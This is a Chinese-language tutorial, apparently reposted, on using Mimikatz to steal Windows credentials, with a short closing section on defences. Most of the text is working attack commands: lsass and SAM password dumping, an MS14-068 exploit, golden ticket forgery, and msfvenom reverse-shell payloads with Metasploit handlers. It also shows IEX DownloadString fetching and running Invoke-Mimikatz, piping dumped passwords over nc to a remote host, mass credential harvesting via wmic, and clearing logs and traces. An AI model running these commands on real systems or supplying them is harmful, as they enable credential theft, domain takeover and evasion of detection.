Mimikatz獲取系統密碼***研究

Mimikatz是法國人benjamin開發的一款功能強大的輕量級調試工具,本意是用來我的測試,但因爲其功能強大,可以直接讀取WindowsXP-2012等操做系統的明文密碼而聞名於***測試,能夠說是***必備工具,從早期1.0版本到如今的2.1.1 20180205版本,其功能獲得了很大的提高和擴展。Mimikatz最新版本一共三個文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分爲Win32位(多了一個mimilove.exe文件)和X64位。經過它們能夠提高進程權限、注入進程讀取進程內存,能夠直接從lsass中獲取當前登陸過系統用戶的帳號明文密碼,lsass是微軟Windows系統的安全機制它主要用於本地安全和登錄策略,一般咱們在登錄系統時輸入密碼以後,密碼便會儲存在lsass內存中,通過其wdigest和tspkg兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中,而mimikatz正是經過對lsass的逆算獲取到明文密碼!本文以mimikatz最新版爲例,介紹了mimikatz的參數、獲取密碼以及僞造黃金票據獲取域控密碼等用戶,利用ms14-068結合mimikatz獲取域控密碼等,最後文中還給出了相應的防範方法,對網絡***都具備必定的借鑑意義。

1.1.1下載及安裝
最新版下載地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip
下載後解壓縮便可,裏面分爲Win32和X64,Win32是針對Windows32位,而X64是正對64位操做系統,目前絕大部分操做系統爲64位(支持大內存的使用)。其相關資源:
(1)我的blog:http://blog.gentilkiwi.com/
(2)最新版本:https://github.com/gentilkiwi/mimikatz/releases
(3)github庫:https://github.com/gentilkiwi/mimikatz
1.1.2使用參數詳解
本次測試使用Win32版本,將程序解壓後,經過cmd進入當前目錄,執行mimikatz程序,如圖1所示,隨便輸入便可獲取幫助信息。
Mimikatz獲取系統密碼***研究
圖1顯示幫助信息
1.基本命令
(1)exit:退出mimikatz。
(2)cls:清除當前屏幕。
(3)answer:對生命、宇宙和萬物的終極問題的回答.
(4)coffee:顯示coffee圖案。
(5)sleep:默認睡眠1000ms,後跟時間參數。
(6)log:記錄mimikatz全部的輸入和輸出到當前目錄下的log.txt文件。
(7)base64:將輸入/輸出轉換成base64編碼。
(8)version:查看mimikatz的版本
(9)cd:切換或者顯示當前目錄。
(10)localtime:顯示系統當前時間和UTC時間。
(11)hostname:顯示主機的名稱。
2.使用模塊
輸入「::」顯示其支持模塊信息。
(1)standard:標準模塊,基本命令,不須要模塊信息。
(2)crypto: 加密模塊,其後跟如下參數,其使用命令爲crypto::參數名,例如crypto::providers,如圖2所示。
Mimikatz獲取系統密碼***研究
圖2參考加密算法提供類型及名單
providers -該命令列出全部CryptoAPI提供者。
stores - 列出系統存儲中的邏輯存儲,crypto::stores /systemstore:local_machine
certificates - 顯示或者導出證書
keys - 列出或者顯示密鑰
sc - 此命令列出系統上的智能卡/令牌讀取器或將其移出系統。當CSP可用時,它會嘗試在智能卡上列出密鑰。
hash - 顯示當前用戶的的哈希(LM、NTLM、md五、sha一、sha2)計算值
system - 描述windows系統證書 (,註冊表或者hive文件)
scauth - 從CA建立一個認證(智能卡等)
certtohw -嘗試將軟件CA導出到加密(虛擬)硬件中。
capi -修補CryptoAPI程序方便導出。
cng - 修補CNG服務方便導出
extract -從CAPI RSA/AES 提供者獲取密鑰
(3)sekurlsa 枚舉用戶憑證
sekurlsa::msv - 獲取LM & NTLM 憑證,能夠獲取明文密碼
sekurlsa::wdigest - 獲取 WDigest 憑證,能夠獲取明文密碼
sekurlsa::kerberos - 獲取Kerberos 憑證
sekurlsa::tspkg - 獲取 TsPkg 憑證
sekurlsa::livessp - 獲取LiveSSP 憑證
sekurlsa::ssp - 獲取憑證
sekurlsa::logonPasswords獲登錄用戶信息及密碼,若是是在系統權限或者psexec進入的系統權限下,直接使用該命令,而無需運行privilege::debug,不然須要運行該命令。
sekurlsa::process - 切換或者恢復到lsass初始狀態
sekurlsa::minidump - 切換或者恢復到minidump初始狀態
sekurlsa::pth - Pass-the-hash
sekurlsa::krbtgt - krbtgt!
sekurlsa::dpapisystem - 顯示DPAPI_SYSTEM密碼值
sekurlsa::tickets - 顯示Kerberos票據
sekurlsa::ekeys - 顯示Kerberos加密密鑰
sekurlsa::dpapi - 顯示內存中的MasterKeys
sekurlsa::credman - 顯示管理員憑證
(4)kerberos - Kerberos 包模塊
(5)privilege - 特權模塊
Privilege::debug - 請求調試權限
Privilege::driver - 請求裝載驅動權限
Privilege::security - 請求安全權限
Privilege::tcb - 請求tcb權限
Privilege::backup - 請求backup權限
Privilege::restore - 請求恢復權限
Privilege::sysenv - 請求系統環境權限
Privilege::id - 請求id特權,參數後跟具體的id值。例如請求特權8:privilege::id 8
Privilege::name - 請求指定名稱的權限
(6)process:進程模塊
process::list - 列出進程
process::exports - 導出進程列表
process::imports - 導入進程列表
process::start - 開始一個進程,後跟進程名稱。
process::stop - 終止一個進程,process::stop /pid:1692(結束pid爲1692的進程)
process::suspend - 掛起一個進程
process::resume - 恢復一個進程
process::run - 運行一個進程
(7)service - Service module
service::start - 開始服務
service::remove - 移除服務
service::stop - 中止服務
service::suspend - 暫停服務
service::resume - 恢復服務
service::preshutdown - 預關閉服務
service::shutdown - 關閉服務
service::list - 列出服務
service::+ -安裝mimikatz服務
service::- - 卸載mimikatz服務
(8)lsadump - LsaDump module
Lsadump::sam - 該命令轉儲安全賬戶管理器(SAM)數據庫。它包含用戶密碼的NTLM,有時包含LM哈希。
在線命令提高模式獲取:
privilege::debug
token::whoami
token::elevate
lsadump::sam
離線獲取:
經過如下方式備份SYSTEM&SAM配置:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
或者使用Volue Shadow Copy / BootCD來備份這些文件:
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
而後執行mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv便可獲取。
http://www.objectif-securite.ch/en/ophcrack.php和http://www.cmd5.com/可在線進行破解查詢
Lsadump::secrets 從registry或者hives獲取保存的密碼憑據,能夠直接獲取明文密碼。
Lsadump::cache 獲取內存中的密碼值
Lsadump::lsa 從lsa服務器獲取密碼。lsadump::lsa /inject /name:krbtgt
Lsadump::trust - Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata
Lsadump::dcsync - Ask a DC to synchronize an object
Lsadump::dcshadow - They told me I could be anything I wanted, so I became a domain controller
Lsadump::setntlm - Ask a server to set a new password/ntlm for one user
Lsadump::changentlm - Ask a server to set a new password/ntlm for one user
Lsadump::netsync - Ask a DC to send current and previous NTLM hash of DC/SRV/WKS
(9)ts 終端服務模塊
ts::sessions 顯示當前的會話
ts::multirdp 容許多個用戶使用rdp,安裝rdp補丁。
(10)event事件模塊
event::drop 啓用事件補丁服務,再也不記錄新產生的事件。
event::clear 清除時間日誌。
(11)misc 雜項模塊,打開cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton等。
(12)token -令牌操做模塊
token::whoami - 顯示當前的身份
token::list - 列出系統全部的令牌
token::elevate - 冒充令牌
token::run - 運行
token::revert - 恢復到進程令牌
(13)vault - Windows信任/憑證模塊。Vault::list列出Windows信任/憑證。
(14)net 顯示user、group、alias 、session、wsession、tod、stats、share、serverinfo 等信息。
1.1.3mimikatz獲取密碼
1.舊版本配合psexec密碼獲取方法及命令
(1)到tools目錄。psexec \127.0.0.1 cmd
(2)執行mimikatz
(3)執行 privilege::debug
(4)執行 inject::process lsass.exe sekurlsa.dllbr/>(5)執行@getLogonPasswords
(6)widget就是密碼
(7)exit退出,不要直接關閉不然系統會崩潰。
2.bat腳本獲取法
(1)建立get.bat腳本
@echo off
mimikatz.exe <command.txt >pass.txt
exit
(2)建立command.txt文件
privilege::debug
inject::process lsass.exe sekurlsa.dll br/>@getLogonPasswords
Exitbr/>(3)執行get.bat文件便可獲取密碼,pass.txt記錄的即爲獲取的密碼,get.bat、command.txt和mimikatz.exe在同一個文件夾下。
2.mimikatz2.0以上版本獲取系統明文密碼
(1)sekurlsa獲取
privilege::debug
sekurlsa::logonpasswords
(2)Lsadump獲取密碼
Lsadump::secrets
3.利用ms14-068漏洞進行***
(1)生成tgt_zhangsan@admin.com.ccche票據
ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
(2)導入票據
mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche
1.1.4使用ps1批量獲取windows密碼
在Windows2008及以上操做系統中執行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
注意:獲取密碼的計算機必須可以訪問raw.githubusercontent.com網絡,也能夠將該ps文件下載到其餘地址,而後替換後執行。該腳本目前在win2014中只能獲取NTLM值,沒法獲取明文密碼,如圖3所示。
Mimikatz獲取系統密碼***研究
圖3經過ps腳本獲取密碼值
1.1.5MSF下mimikatz獲取密碼
1.須要生成一個反彈的可執行程序或者經過漏洞直接獲取一個反彈的shell。下面是經過msfvenom生成shell:
(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
在架構中比較好用的有兩個cmd/powershell_base64和x86/shikata_ga_nai,下面生成一個實例(反彈的服務器IP爲192.168.106.133):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exephp

  1. 運行msfconsole並設置
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.106.133
    set lport 4444
    run或者exploit
    3.在測試計算機上運行exe文件
    4.在msf獲取反彈的shell,如圖5所示。
    (1)getuid 獲取當前賬號爲系統權限,則進行後續操做,不然經過ps命令去獲取小於1000之內的pid,執行migrate pid來提高權限後,繼續執行後續步驟。
    (2)load mimikatz
    (3)運行mimikatz下面的憑證獲取命令
    kerberos 獲取網絡認證協議憑證,其中可能會有明文密碼
    msv 獲取msv 憑證,其中包含LM和NTLM哈希密碼值
    wdigest 獲取wdigest (摘要式身份驗證)憑證,其中可能會有明文密碼
    (4)還能夠執行hashdump來導出系統的哈希密碼值
    1.1.6使用Mimikatz僞造Kerberos黃金票據
    以域控test.local爲例子,mimikatz在c:\test\目錄下。
    1.導出krbtgt的Hash
    在域控上執行經過mimkatz輸出:
    mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
    找到以下信息:
    /domain:test.local
    /sid:S-1-5-21-4155807533-921486164-2767329826
    /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
    二、生成Golden Ticket
    僞造的用戶設置爲god,執行:
    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
    生成文件gold.kirbi
    三、僞造Golden Ticket得到域控權限,導入Golden Ticket,執行以下命令:
    kerberos::ptt c:\test\gold.kirbi
    1.1.7ms14_068獲取域控密碼
  2. 利用ms14068漏洞獲取域控權限
    目前網上有python腳本的利用方法,其下載地址:https://github.com/bidord/pykek,具體方法以下
    (1)獲取SID
    方法1:wmic useraccount where name="USERNAME" get sid
    方法2:whoami /all 或者whoami /user 本機能夠直接查出本身的SID; 例如獲取SID值爲:S-1-5-21-3314867233-3443566213-336233174-500
    (2)生成tgt文件
    ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local
    會在當前命令目錄生成一個 TGT
    antian365@ antian365.local.ccache文件,將該文件複製到mimikatz目錄。
    (3)導入tgt文件
    mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit
    (4)查看並獲取域控權限
    net use \DC2. antian365.local\admin$ //注:使用IP可能會失敗
    dir \DC2. antian365.local\c$
    (5)klist查看票據,klist僅僅在win2008以上能夠查看。
    2.MSF漏洞模塊利用
    (1)使用ms14_068模塊
    use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
    set DOMAIN DEMO.LOCAL
    set PASSWORD antian365
    set USER antian365
    set USER_SID S-1-5-21-3314867233-3443566213-336233174-500
    set RHOST WIN-T.demo.local
    run
    生成一個形如time_default_ip_windows.kerberos_num.bin的文件
    (2)導入bin文件
    kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/ br/>保存爲0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi文件。
    (3)使用生成的kirbi
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 172.16.158.1
    exploit
    getuid
    load mimikatz
    kerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbi
    background
    sessions
    (4)獲取域控權限
    use exploit/windows/local/current_user_psexec
    set TECHNIQUE PSH
    set RHOSTS WIN-T.demo.local
    set payload windows/meterpreter/reverse_tcp
    set lhost 172.16.158.1
    set SESSION 1
    exploit
    getuid
    1.1.8 mimikatz使用技巧
  3. 獲取並記錄密碼到mimikatz.log文件
    mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir
    2.輸出到本地log.txt文件
    mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt
    3.記錄新密碼到文件
    有時候獲取的哈希是舊的,這時須要記錄新的登陸哈希值,可使用如下命令來記錄,記錄的結果在c:\windows\system32\mimilsa.log。
    mimikatz.exe
    privilege::debug
    misc::memssp
    4.經過nc命令將mimikatz執行結果傳輸到遠程
    (1)取結果服務器(192.168.106.145)執行監聽命令
    nc -vlp 44444
    (2)在想獲取密碼的服務器上執行
    mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444
    5經過nc命令遠程執行mimikatz
    (1)在***反彈計算機(192.168.106.145)上執行
    nc.exe -vlp 4444
    (2)在被***計算機(192.168.106.130)上執行
    nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe
    接着就會反彈到192.168.106.145的4444端口,出來一個cmd的窗口,能夠在該窗口進行密碼獲取,如圖4所示。
    Mimikatz獲取系統密碼***研究
    圖4nc反彈執行命令
    6.批量獲取域控密碼
    一般在域***的時候,咱們可能想要得到更多的密碼,針對server08之後的服務器獲取ntds.dit的hash之後還不必定能破解出來,因此能夠經過Mimikatz來獲取明文密碼,可是一臺一臺登錄去獲取會很慢且不方便,因此這裏介紹一個批量的方法:
    (1)建立共享文件夾:
    cd\
    mkdir open
    net share open=C:\open /grant:everyone,full
    icacls C:\open\ /grant Everyone:(OI)(CI)F /t
    修改註冊表
    reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open
    reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1
    修改共享目錄到open。
    (2)在共享目錄添加下列文件:
    1)執行腳本powershellme.cmd,腳本內容:
    powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \192.168.1.11\open\%COMPUTERNAME%.txt 2>&1
    ip是設置共享的主機ip地址。
    2)Invoke-Mimikatz.ps1
    3)mongoose
    4)服務器列表serverlist.txt,換行分割。
    (3)運行mongoose,默認開啓端口8080
    (4)執行wmic:
    wmic /node:@serverlist.txt process call create "\192.168.1.11\open\powershellme.cmd"
    帶憑證:
    wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\192.168.1.11\open\powershellme.cmd"
    (5)在共享目錄看各個服務器的密碼吧。
    (6)清除記錄:
    1)關掉mongoose,並刪除
    2)net share open /delete
    3)刪除共享目錄及文件
    4)修改註冊表
    PS:可使用以下命令開啓PowerShell remoting:
    psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
    1.1.9linux版本的mimikatz密碼獲取工具mimipenguin
  4. mimipenguinbr/>mimikatz的Linux平臺仿造版本mimipenguin(由@HunterGregal開發),mimipenguin須要root權限運行,經過檢索內存、/etc/shadow文件等敏感區域查找信息進行計算,從而提取出系統明文密碼。軟件下載地址:https://github.com/huntergregal/mimipenguin,下載後運行mimipenguin.sh便可,如圖5所示。
    Mimikatz獲取系統密碼***研究
    圖5linux下直接獲取密碼
    2.支持版本
    Kali 4.3.0 (rolling) x64 (gdm3)
    Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
    Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
    XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
    Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
    OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
    VSFTPd 3.0.3-8+b1 (Active FTP client connections)
    Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
    openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
    1.1.10安全防範mimikatz獲取密碼
    參考做者及網上安全防範方法主要有如下三個方法:
    1.用戶被添加到保護用戶組。將域控升級到Active Directory 2012 R2功能級別,而後將重要用戶添加到保護用戶組。
    2.安裝KB2871997補丁程序。
    3.修改註冊表鍵值
    在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建UseLogonCredential值,其類型爲Dword32位類型,值爲0便可。

參考文章:
https://evi1cg.me/archives/Get_Passwords_with_Invoke-Mimikatz.html
https://www.cnblogs.com/backlion/p/8127868.htmlhtml

相關文章
相關標籤/搜索